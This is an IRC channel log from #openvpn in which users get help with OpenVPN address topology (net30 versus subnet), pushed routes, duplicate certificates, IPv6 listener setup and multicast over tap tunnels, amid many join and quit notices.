16:54 -!- Sickness\ [~stront@unaffiliated/s-work] has joined #openvpn
16:56 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 246 seconds]
16:58 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
17:05 -!- SteWa [~j5m1th@78.129.180.118] has quit [Ping timeout: 272 seconds]
17:22 -!- SteWa [~j5m1th@2.186.58.62] has joined #openvpn
17:25 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
17:31 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 255 seconds]
17:36 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 260 seconds]
17:50 -!- lamba [~sirex@unaffiliated/lamba] has joined #openvpn
17:50 < lamba> !welcome
17:50 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
17:50 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
17:52 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
17:53 < phunyguy> Just to clarify from earlier, my dns "issue" was not network-manager's fault, just to clear the air, but at the same time it wasn't openvpn's fault either.  I should have known better that the DNS server at work was on a different subnet, so even manually specifying 10.10.10.10 in /etc/resolv.conf wouldn't resolve it, since 10.0.0.0/8 needed to go out eth0, and not tap0.  Thanks for the help pekster.
17:55 < lamba> i don't know if this is an issue as it seems to be working, but on my vpn server i have a "server 10.100.96.0 255.255.255.192" line which i expected to mean give out an address from that pool.
17:55 < phunyguy> with that being said, I added the route to go out eth0, and manually set the DNS server on eth0 in networkmanager so that it doesn't get overwritten when tun0 connects, instead it gets kept with a second entry added for home network.
17:55 < phunyguy> lamba that is correct
17:55 < phunyguy> the line is correct I mean
18:05 -!- lamba2 [~AndChat61@161-65-50-68-ip.gns.cri.nz] has joined #openvpn
18:06 < lamba2> Sorry, if anyone said anything since my last message I didn't get it. Looks like there's just been a blip on new Zealand international traffic or something which is affecting my connection to my irc screen session
18:11 -!- lamba2 [~AndChat61@161-65-50-68-ip.gns.cri.nz] has quit [Ping timeout: 256 seconds]
18:11 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 252 seconds]
18:11 -!- hesperaux [~hesperaux@174.37.86.108] has quit [Quit: Leaving]
18:19 < lamba> k, looks like the blip has passed anyhow. (weird).
18:20 < lamba> both my clients seem to be able to use the tunnel, but both have got 10.100.96.6 as their tun0 ip, with 10.100.96.5 as the 'p-t-p' address ?
18:20 < lamba> i was expecting the server to be .1 and the clients to be .2, .3, .4 etc with p-t-p on the tun0 of 10.100.96.1
18:21 < pekster> lamba:
18:21 -!- acdcworld [acdcworld@173.242.216.162] has joined #openvpn
18:21 < pekster> !/30
18:21 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
18:21 < acdcworld> hi
18:21 < pekster> Basically, net30 is a stupid hack that was required if you had pre-2.1 Windows clients that couldn't do PtP; it hasn't been necessary since the 2.0.9 days
18:21 < acdcworld> what can i do with a vpn?
18:22 < lamba> oooh. its setting up a subnet for each client. right.
18:22 < pekster> Basically, but it's a true PtP setup on Unix-alike systems
18:22 < lamba> !topology
18:22 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
18:23 < phunyguy> wow I always wondered about that.
18:23 < dimm0k> is there any way to test my iptables and server.conf locally before moving the openvpn server to its remote location?
18:23 < phunyguy> see? I really do need to lurk more often
18:25 < lamba> pekster: i think i kind of understand now, but i have two clients, and both have been given 10.100.96.6 ?
18:25 < lamba> your link suggests the next one would be .10
18:25 < pekster> It will be if they're allocated from th epool
18:25 < pekster> You'll get strange results if you define your clients statically with overlapping addresses, or by ccd
18:26 < lamba> ok. so i guess last question, does this mean i'm only going to get 4-5 clients into my /26 unless i use the topology subnet directive in the config ?
18:26 < pekster> If you're not doing any of that, check the IPs more carefully, and failing that, look at the PUSH_REPLY lines in your client logs
18:26 < pekster> lamba: Correct. /26 will give you 64/4-4 clients max
18:27 < pekster> subnet would get you 61
18:27 < lamba> bummer ;- topology subnet it is then i guess. i have 15 clients.
18:27 < pekster> "bummer"
18:27 < pekster> Why use net30 at all?
18:27 < pekster> Do you intend to support 2.0.9 (over 6 years old) with windows?
18:28 < lamba> no, but i've not used openvpn for 3 years and i guess i didnt know this feature had been added. - explains *alot* though
18:28 < pekster> If not, net30 is worthless and a waste of IPs (that said, 10/8 is huge, so it's not like being wasteful hurts; it's just bad practice
18:28 -!- ponyofdeath [~vladi@cpe-75-80-173-129.san.res.rr.com] has joined #openvpn
18:28 < ponyofdeath> hi, how can i prevent certain clients from getting only a subset of the routes? using ccd/iroute?
18:30 < pekster> Can't parse what that's supposed to mean
18:35 < lamba> pekster: i added 'topology subnet' but now both clients got a .4 address with p-t-p of .4   http://openvpn.net/archive/openvpn-users/2005-09/msg00079.html suggests they should get .2, .3, .4 as i'd expect
18:35 <@vpnHelper> Title: [Openvpn-users] New subnet topology feature ready for testing (at openvpn.net)
18:36 < pekster> lamba: Post configs from both sides, ideally with comments/whitespace removed. Handy grep syntax here:
18:36 < pekster> !configs
18:36 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
18:36 < lamba> kk
18:38 < lamba> http://pastebin.com/jHvsNMrm
18:39 < lamba> all clients and server are centos linux
18:41 < pekster> Not quite sure what you're doing with the route statement in the server since a client-side LAN would require a ccd file which you aren't using
18:41 < pekster> Otherwise the addressing should be fine
18:42 < lamba> just pushing a static route to one host on the server's lan, and then doing a masquerade in iptables on the client for 10.100.96.0
18:42 < pekster> Use `verb 3` and post some client logs of a connection
18:42 < lamba> yeah, using those configs both clients got .4
18:42 < pekster> You can't use route like that
18:42 < lamba> ok, ill bump verb up
18:42 < pekster> That route statement adds a server side route to that host via the VPN peer IP
18:42 < pekster> If it's not reachable via a client, you don't want to be doing that
18:43 < lamba> pekster: yeah, i thought that's what i wanted
18:43 < pekster> So 192.168.43.2 is behind one of your *clients* ?
18:43 < lamba> the routing seems to work just fine, the bit that confused me was the addressing
18:43 < lamba> no, its behind the server.
18:44 < pekster> That's not what that route statement is going to do
18:44 < pekster> On the server you'll end up with a route for 192.168.43.2/32 via 10.100.96.1 (in topology subnet anyway)
18:44 < lamba> at the moment the clients get the /32 route, and send traffic to the server for that ip, which then nat's the traffic so it can get back. it did seem to work, at least ;-/
18:44 < lamba> oh.
18:45 < lamba> i just wanted a "to get to this ip, use the vpn" statement
18:45 < pekster> Oh, and the reason it works is becuase that's improperly formatted and ignored
18:45 < pekster> Your low verb level is either dropping that error, or you've just managed to miss it
18:45 < pekster> Really, given your issues, don't use anything less than 3
18:45 < pekster> You're missing lots of pretty important stuff
18:46 < lamba> ok.
18:46 < pekster> lamba: Right, that's what that statement says, basically. You *don't* want that
18:46 < lamba> i thought i was so close to getting this sussed ;p
18:46 < pekster> That host is on the server's LAN side, not the VPN. Don't tell it it's on the VPN if it's not
18:48 < lamba> ok. so, assuming i want the client to be able to open connections to the server's lan (on that ip) and assuming i cant alter the routing on the server's lan (so i want nat for that)
18:48 < lamba> s/on that ip/for that ip/
18:49 < pekster> You can push it to the client via --push
18:49 < pekster> `--push "route destination mask"
18:50 < pekster> It won't be able to open connections "to the server's lan" but just that host. It's simply a way to push a route to a client; it acts just like as if you had included the route statement in the client config
18:50 < pekster> Edit the mask to suit
18:50 < pekster> Also,
18:50 < pekster> !serverlan
18:50 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
18:52 -!- acdcworld [acdcworld@173.242.216.162] has quit []
18:53 < dimm0k> would i need to do anything extra to use openvpn within the same lan as the openvpn server?
18:54 < pekster> dimm0k: Depends on your setup, but usually no. Routes may not quite do what you expect if you're exposing the same LAN both are on, and see the local flag if you're using --redirect-gateway
18:55 < lamba> ok, i changed that to push route 192.168.43.2 255.255.255.255, which seems to be happier. still get every client with 10.100.96.4 as their address though.
18:55 < lamba> i'm not overly worried as long as it wont choke at 15 clients in the /26 space
18:56 < pekster> Logs
18:56 < pekster> Something is still very wrong if that's happening with that setup
18:56 < lamba> kk
18:59 < phunyguy> also pekster and krzee, the weird "br0: received packet on eth1 with own address as source address" errors have went away since making the change to "topology subnet" =D
18:59 < phunyguy> not sure why.... but it did
18:59 < pekster> You had that with tap, no? tap inherently uses a subnet since it's dealing with raw ethernet frames
19:00 < dimm0k> pekster: hrmm...  is there any way to verify that the client is using the tunnel rather than the local interface?
19:00 < pekster> Using for what, traffic? tcpdump in that case
19:02 < phunyguy> I spoke too soon
19:02 < phunyguy> just got one, but didn't for like a half hour!
19:02 < dimm0k> hrmm, let's give it a try
19:02 < phunyguy> I was getting them like every 30 seconds
19:03 < pekster> Fix your LAN
19:03 < pekster> That has to do with ethernet junk on your LAN (and with tun it can't even be a poorly configured client.)
19:03 < phunyguy> yep...
19:03 < pekster> You either have a misconfigured host or a screwy L2 routing issue, like a looped bridge
19:04 < phunyguy> I will get some advice in #linux or #ubuntu-server
19:04 < phunyguy> thank you gents
19:04 < phunyguy> the rest works well
19:05 < lamba> pekster: think i've licked it. both these clients were using the same cert, duplicate-cn in server config seems to have righted everything.
19:06 < pekster> It's not really recommended to do that, but that's the solution if you choose to do so
19:06 -!- awc737 is now known as awc737_away
19:08 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 264 seconds]
19:10 -!- defswork [~andy@141.0.50.105] has joined #openvpn
19:12 -!- matt1s [~mattis@hurfmydurf.com] has quit [Ping timeout: 248 seconds]
19:14 -!- raidz is now known as raidz_away
19:16 -!- defswork [~andy@141.0.50.105] has quit [Read error: Operation timed out]
19:18 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
19:25 -!- defswork [~andy@141.0.50.105] has joined #openvpn
19:28 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
19:30 < dimm0k> hrmm, when i start the openvpn server, the server should still be able to communicate directly with the local lan right?
19:31 < djjunde> depends pretty much how you route your traffic from openvpn server
19:33 < djjunde> but yes, your openvpn server should be able to communicate directly to lan
19:34 < dimm0k> hrmm, when i fire it up, it's no longer able to ping the gateway...
19:34 < dimm0k> as soon as i turn it off, gateway is visible again
19:36 < dimm0k> !route_outside_openvpn
19:36 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
19:36 < dimm0k> !route
19:36 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
19:36 <@vpnHelper> behind the server or client
19:36 -!- zeshoem [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
19:37 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 248 seconds]
19:39 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Ping timeout: 256 seconds]
19:44 -!- KaiserBeto [~KaiserBet@157.22.52.2] has joined #openvpn
19:44 -!- KaiserBeto [~KaiserBet@157.22.52.2] has left #openvpn []
19:48 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has quit [Ping timeout: 272 seconds]
19:50 -!- DarylXian [f77G8hU0D0@bolt.sonic.net] has joined #openvpn
19:51 -!- matt1s [~mattis@hurfmydurf.com] has joined #openvpn
19:51 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 268 seconds]
19:51 < dimm0k> any suggestions?  openvpn server resides on 192.168.0.6...  local client can ping that ip until i start the openvpn server at which point that ip no longer responds
19:54 < DarylXian> Hi.  I'm attempting to migrate a working Openvpn server instance from an IPv4 stack to an IPv6 only stack.  I've read the README/TODOs, and what I could find online.  Launch is failing re: "Address family" -> http://pastebin.com/M34S2myR . Before filing a bug, can someone with some IPv6 experience take a peek to see if it's my config?
19:55 -!- matt1s [~mattis@hurfmydurf.com] has quit [Ping timeout: 240 seconds]
19:56 -!- DarylXian [f77G8hU0D0@bolt.sonic.net] has left #openvpn []
20:00 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 260 seconds]
20:00 -!- dimm0k [~dimm0k@pool-108-41-239-206.nycmny.fios.verizon.net] has joined #openvpn
20:00 -!- dimm0k [~dimm0k@pool-108-41-239-206.nycmny.fios.verizon.net] has quit [Changing host]
20:00 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
20:06 -!- newbie|2 [~tjz@bb119-74-161-116.singnet.com.sg] has quit [Quit: quit irc]
20:08 -!- matt1s [~mattis@hurfmydurf.com] has joined #openvpn
20:09 -!- SpaceBass [~SP@ec2-23-21-58-249.compute-1.amazonaws.com] has quit [Quit: Leaving]
20:12 -!- defswork [~andy@141.0.50.105] has joined #openvpn
20:16 -!- DarylXian [f77G8hU0D0@bolt.sonic.net] has joined #openvpn
20:16 < pekster> Well, it depends on what you want DarylXian. Do you intend to *connect* to your VPN peer over IPv6?
20:16 < pekster> If so, yes, you need a DNS name or IP that's IPv6 to do that
20:17 < pekster> To apply a tunnel address (to the tun device) you can use --ifconfig-ipv6, or do it outside of openvpn through a utility of your choice
20:17 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
20:19 < pekster> Normally for a client (even a p2p client) you won't need a `local` directive since it'll pick the right interface/address based on your routing tables
20:19 < DarylXian> pekster: both my LAN and VPS are fully dual-stack IPv4&6 enabled, with IPv6 preferred.  My *goal* is to have the VPS's externally facing IPs as listeners for a bunch of daemons scattered around the LAN.  1-to-1 SSH tunnels got our of hand; looking to OpenVPN to open/maintain a connected pipe between the two.
20:19 < pekster> It looks like you've set that up to act as the client role (even a p2p setup has a client for the TLS handshake, and practically you end up having one "initiate" the connection if you use keepalives
20:20 < pekster> Dual-homed means you can pick how to reach your peer
20:20 < pekster> for the encapsulating traffic, that is
20:20 < pekster> Whatever you want, put that in the `remote` statement of your client, and put the server's IP on the `local` of the server, or just leave local off completely and it'll listen on the wildcard address
20:21 < DarylXian> Yes, the connection will go down every once in awhile;  I *do* want one end to reinitiate a failed/down connection.
20:21 < DarylXian> Yep -- want to avoid the wildcard listener, and specify one (out of many) IPs on the VPS.
20:22 < pekster> That's fine for the server end, but it's not really useful from the client end
20:22 < pekster> "technically" in a p2p setup there is no "server" per se, but in reality there is since one end has to take on the client role if you're using TLS
20:23 < pekster> (it's more grey if you're doing static key, but here you're not)
20:23 < pekster> So, decide if you even need that local directive on this (your client) side. Rip it out unless you really need it. Add in keepalive on both ends so it'll reconnect if it drops
20:24 < DarylXian> pekster: ok.  got a better idea, thanks.  need to futz with it awhile, now.
20:24 < pekster> The remote not connecting due to resoltion is odd; see if the IP is really valid, since the "resolv" bit makes me think it's somehow trying to look up a DNS name
20:24 < pekster> I'm running 2.3.1, and it works fine with an IPv6 IP for --remote
20:24 < pekster> Sure
20:25 < DarylXian> it is valid ... i can ssh into it, ping, listen on web port, etc.
20:25 -!- mitz_ [~mitz@219.143.36.82] has joined #openvpn
20:25 < pekster> On your server, generally don't use a --remote at all, just let your client connect to it, using just --local on your IPv6 IP
20:28 < DarylXian> pekster: now to see if it all works.  thanks again!  cheers for now.
20:28 -!- DarylXian [f77G8hU0D0@bolt.sonic.net] has quit [Quit: DarylXian]
20:32 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 268 seconds]
20:33 -!- defswork [~andy@141.0.50.105] has joined #openvpn
20:41 -!- phunyguy [~quassel@unaffiliated/phunyguy] has quit [Read error: No route to host]
20:42 -!- phunyguy [~quassel@h69-131-21-126.stmyga.broadband.dynamic.tds.net] has joined #openvpn
20:42 -!- phunyguy [~quassel@h69-131-21-126.stmyga.broadband.dynamic.tds.net] has quit [Changing host]
20:42 -!- phunyguy [~quassel@unaffiliated/phunyguy] has joined #openvpn
20:47 < dimm0k> when i shut down openvpn, i'm getting "ERROR: Linux route delete command failed: external program exited with error status: 2"
20:47 < dimm0k> any idea what's causing that?
20:48 -!- matt1s [~mattis@hurfmydurf.com] has quit [Ping timeout: 268 seconds]
20:53 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:4994:1a68:3bc5:49c6] has quit [Quit: emmanuelux]
20:54 < pekster> dimm0k: dropping permission via --user or possibly because the route has been deleted by something else
20:55 -!- matt1s [~mattis@hurfmydurf.com] has joined #openvpn
21:02 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
21:02 -!- master_of_master [~master_of@p4FF2434E.dip0.t-ipconnect.de] has joined #openvpn
21:03 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
21:05 -!- master_o1_master [~master_of@p4FF241B8.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
21:59 -!- Cultist [~Cultist@c-67-184-182-139.hsd1.il.comcast.net] has joined #openvpn
22:53 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Quit: leaving]
22:54 < phunyguy> does openvpn support multicast on routed tunnels?
22:55 < phunyguy> (with topology subnet enabled)
23:03 -!- edwardly [~edwardly@pool-108-7-217-244.bstnma.fios.verizon.net] has quit [Ping timeout: 245 seconds]
23:05 < pekster> Nope, multicast would require a tap tunnel
23:07 < phunyguy> no wonder.   ty
23:08 < phunyguy> I just wish tap worked for me  xD
23:09 < phunyguy> can you run a tap device as a non-bridged tunnel?
23:09 < phunyguy> I am wondering if I can get away with that and just not bridge
23:09 < pekster> Sure, it's effectively just an Ethernet adapter
23:09 < phunyguy> ( I am referring to my earlier packet loss issues )
23:09 < phunyguy> I can't remember if we decided that the loss was due to bridging or tap.
23:10 < pekster> Probably neither; I was blaming your network since other stuff was clearly messed up there
23:10 < phunyguy> yeah but I switched to tun, and the issue went away (0% packet loss)
23:11 < phunyguy> I will just switch to tap and leave the subnet as is tomorrow, and try it out.  I am trying to get stuff like bonjour and the like to carry across the couple subnets, fwiw
23:11 < phunyguy> using pimd
23:20 < jzaw> phunyguy, i run tap routed
23:21 < jzaw> doesnt need to be bridged but still not sure that gives you your multicast though
23:21 < jzaw> i do see arp between the two tap endpoints ... just not between the two subnets either side
23:23 < pekster> That's what pimd & friends handle jzaw
23:23 < phunyguy> :)
23:24 < phunyguy> I did also read something about needing to increase the ttl by one on the PREROUTING chain of iptables, so I need to jump on #iptables or whatever the channel is to verify my syntax for that.  I guess "most" packets come through as ttl-1 or whatever so they can't make a hop.
23:24 < jzaw> ta pekster :)
23:25 < phunyguy> "most" multicast***
23:34 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
23:35 -!- SteWa [~j5m1th@2.186.58.62] has quit [Ping timeout: 272 seconds]
23:47 -!- SteWa [~j5m1th@78.129.180.118] has joined #openvpn
--- Day changed Thu May 02 2013
00:08 -!- SteWa [~j5m1th@78.129.180.118] has quit [Ping timeout: 256 seconds]
00:18 -!- dimm0k [~dimm0k@pool-108-41-239-206.nycmny.fios.verizon.net] has joined #openvpn
00:18 -!- dimm0k [~dimm0k@pool-108-41-239-206.nycmny.fios.verizon.net] has quit [Changing host]
00:18 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
00:21 < dimm0k> so i'm able to connect to the openvpn server using a client that's on the same LAN as the server...
00:22 < dimm0k> however i am unable to ping each other's tunnel address...
00:22 < dimm0k> any suggestions?
00:24 -!- SteWa [~j5m1th@2.186.58.62] has joined #openvpn
00:36 < dimm0k> shit, i think it has something to do with my push statements...  blah
00:45 -!- kirin` [telex@gateway/shell/anapnea.net/x-dlxewwevcaamiqzt] has quit [Ping timeout: 276 seconds]
00:48 -!- kirin` [telex@gateway/shell/anapnea.net/x-lrsivbmmqlhenyvs] has joined #openvpn
00:53 -!- kirin` [telex@gateway/shell/anapnea.net/x-lrsivbmmqlhenyvs] has quit [Ping timeout: 240 seconds]
00:54 -!- kirin` [telex@gateway/shell/anapnea.net/x-clefkedcmicbswvy] has joined #openvpn
00:59 -!- kirin` [telex@gateway/shell/anapnea.net/x-clefkedcmicbswvy] has quit [Ping timeout: 255 seconds]
01:01 -!- kirin` [telex@gateway/shell/anapnea.net/x-sgknqdlgmbjcejkj] has joined #openvpn
01:01 -!- SteWa [~j5m1th@2.186.58.62] has quit [Ping timeout: 272 seconds]
01:05 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
01:06 -!- kirin` [telex@gateway/shell/anapnea.net/x-sgknqdlgmbjcejkj] has quit [Ping timeout: 256 seconds]
01:07 -!- kirin` [telex@gateway/shell/anapnea.net/x-qilnhdbigqkjimno] has joined #openvpn
01:11 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:11 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
01:11 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
01:13 -!- kirin` [telex@gateway/shell/anapnea.net/x-qilnhdbigqkjimno] has quit [Ping timeout: 245 seconds]
01:14 -!- SteWa [~j5m1th@78.129.180.118] has joined #openvpn
01:14 -!- kirin` [telex@gateway/shell/anapnea.net/x-ahliaeifsnsriryz] has joined #openvpn
01:19 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:20 -!- kirin` [telex@gateway/shell/anapnea.net/x-ahliaeifsnsriryz] has quit [Ping timeout: 264 seconds]
01:21 -!- kirin` [telex@gateway/shell/anapnea.net/x-tgjtekxjvgnpegmb] has joined #openvpn
01:26 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
01:27 -!- kirin` [telex@gateway/shell/anapnea.net/x-tgjtekxjvgnpegmb] has quit [Ping timeout: 256 seconds]
01:28 -!- kirin` [telex@gateway/shell/anapnea.net/x-pqvkagyfsqtlcddl] has joined #openvpn
01:28 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
01:32 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
01:33 -!- kirin` [telex@gateway/shell/anapnea.net/x-pqvkagyfsqtlcddl] has quit [Ping timeout: 245 seconds]
01:35 -!- kirin` [telex@gateway/shell/anapnea.net/x-hzodxgbjnfcsmzel] has joined #openvpn
01:40 -!- kirin` [telex@gateway/shell/anapnea.net/x-hzodxgbjnfcsmzel] has quit [Ping timeout: 260 seconds]
01:41 -!- kirin` [telex@gateway/shell/anapnea.net/x-cmwumugmxcikqaap] has joined #openvpn
01:46 -!- kirin` [telex@gateway/shell/anapnea.net/x-cmwumugmxcikqaap] has quit [Ping timeout: 245 seconds]
01:48 -!- kirin` [telex@gateway/shell/anapnea.net/x-bpkyxbaxpeejmofr] has joined #openvpn
01:54 -!- kirin` [telex@gateway/shell/anapnea.net/x-bpkyxbaxpeejmofr] has quit [Ping timeout: 264 seconds]
01:55 -!- kirin` [telex@gateway/shell/anapnea.net/x-vjemfxgzwsfjorfs] has joined #openvpn
01:56 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:00 -!- kirin` [telex@gateway/shell/anapnea.net/x-vjemfxgzwsfjorfs] has quit [Ping timeout: 248 seconds]
02:01 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:02 -!- kirin` [telex@gateway/shell/anapnea.net/x-xbjgkankazapvwqy] has joined #openvpn
02:02 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Remote host closed the connection]
02:03 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:04 -!- Varazir [~mircwars@c-94-255-133-221.cust.bredband2.com] has quit [Ping timeout: 260 seconds]
02:08 -!- kirin` [telex@gateway/shell/anapnea.net/x-xbjgkankazapvwqy] has quit [Ping timeout: 272 seconds]
02:08 -!- kirin` [telex@gateway/shell/anapnea.net/x-lwomuotyswihfnlo] has joined #openvpn
02:14 -!- kirin` [telex@gateway/shell/anapnea.net/x-lwomuotyswihfnlo] has quit [Ping timeout: 256 seconds]
02:15 -!- kirin` [telex@gateway/shell/anapnea.net/x-polejvvspwwklgfm] has joined #openvpn
02:19 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
02:21 -!- kirin` [telex@gateway/shell/anapnea.net/x-polejvvspwwklgfm] has quit [Ping timeout: 264 seconds]
02:22 -!- kirin` [telex@gateway/shell/anapnea.net/x-ytyangsqetfdqouv] has joined #openvpn
02:25 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
02:28 -!- kirin` [telex@gateway/shell/anapnea.net/x-ytyangsqetfdqouv] has quit [Ping timeout: 264 seconds]
02:28 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
02:29 -!- kirin` [telex@gateway/shell/anapnea.net/x-kgxrhqkolahsnngx] has joined #openvpn
02:29 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
02:34 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
02:35 -!- kirin` [telex@gateway/shell/anapnea.net/x-kgxrhqkolahsnngx] has quit [Ping timeout: 252 seconds]
02:36 -!- kirin` [telex@gateway/shell/anapnea.net/x-kslrbaxdqndjzkid] has joined #openvpn
02:42 -!- kirin` [telex@gateway/shell/anapnea.net/x-kslrbaxdqndjzkid] has quit [Ping timeout: 252 seconds]
02:43 -!- kirin` [telex@gateway/shell/anapnea.net/x-rxqwcdaqdujwipff] has joined #openvpn
02:49 -!- kirin` [telex@gateway/shell/anapnea.net/x-rxqwcdaqdujwipff] has quit [Ping timeout: 276 seconds]
02:50 -!- kirin` [telex@gateway/shell/anapnea.net/x-dfeaphcpiemuvcbg] has joined #openvpn
02:55 -!- kirin` [telex@gateway/shell/anapnea.net/x-dfeaphcpiemuvcbg] has quit [Ping timeout: 272 seconds]
02:56 -!- kirin` [telex@gateway/shell/anapnea.net/x-xvqxtgizindubxlv] has joined #openvpn
03:02 -!- kirin` [telex@gateway/shell/anapnea.net/x-xvqxtgizindubxlv] has quit [Ping timeout: 256 seconds]
03:03 -!- kirin` [telex@gateway/shell/anapnea.net/x-zxmvbxgngyttwnvd] has joined #openvpn
03:09 -!- kirin` [telex@gateway/shell/anapnea.net/x-zxmvbxgngyttwnvd] has quit [Read error: Connection reset by peer]
03:09 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
03:10 -!- kirin` [telex@gateway/shell/anapnea.net/x-jwxqifkmtvilqhpw] has joined #openvpn
03:16 -!- kirin` [telex@gateway/shell/anapnea.net/x-jwxqifkmtvilqhpw] has quit [Ping timeout: 276 seconds]
03:16 -!- kirin` [telex@gateway/shell/anapnea.net/x-amshyezdsnzetlip] has joined #openvpn
03:18 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Ping timeout: 264 seconds]
03:22 -!- kirin` [telex@gateway/shell/anapnea.net/x-amshyezdsnzetlip] has quit [Ping timeout: 256 seconds]
03:24 -!- kirin` [telex@gateway/shell/anapnea.net/x-zdjdiciabbcxzdyg] has joined #openvpn
03:29 -!- kirin` [telex@gateway/shell/anapnea.net/x-zdjdiciabbcxzdyg] has quit [Ping timeout: 240 seconds]
03:30 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
03:30 -!- kirin` [telex@gateway/shell/anapnea.net/x-izhvvbdyvykjqmwk] has joined #openvpn
03:31 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
03:36 -!- kirin` [telex@gateway/shell/anapnea.net/x-izhvvbdyvykjqmwk] has quit [Ping timeout: 252 seconds]
03:37 -!- kirin` [telex@gateway/shell/anapnea.net/x-qhnzmgfiwpnxqnds] has joined #openvpn
03:39 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
03:43 -!- kirin` [telex@gateway/shell/anapnea.net/x-qhnzmgfiwpnxqnds] has quit [Ping timeout: 276 seconds]
03:44 -!- kirin` [telex@gateway/shell/anapnea.net/x-smfqipgpkkobfdst] has joined #openvpn
03:44 -!- tharkun [~0@187.188.166.5] has joined #openvpn
03:44 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
03:44 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
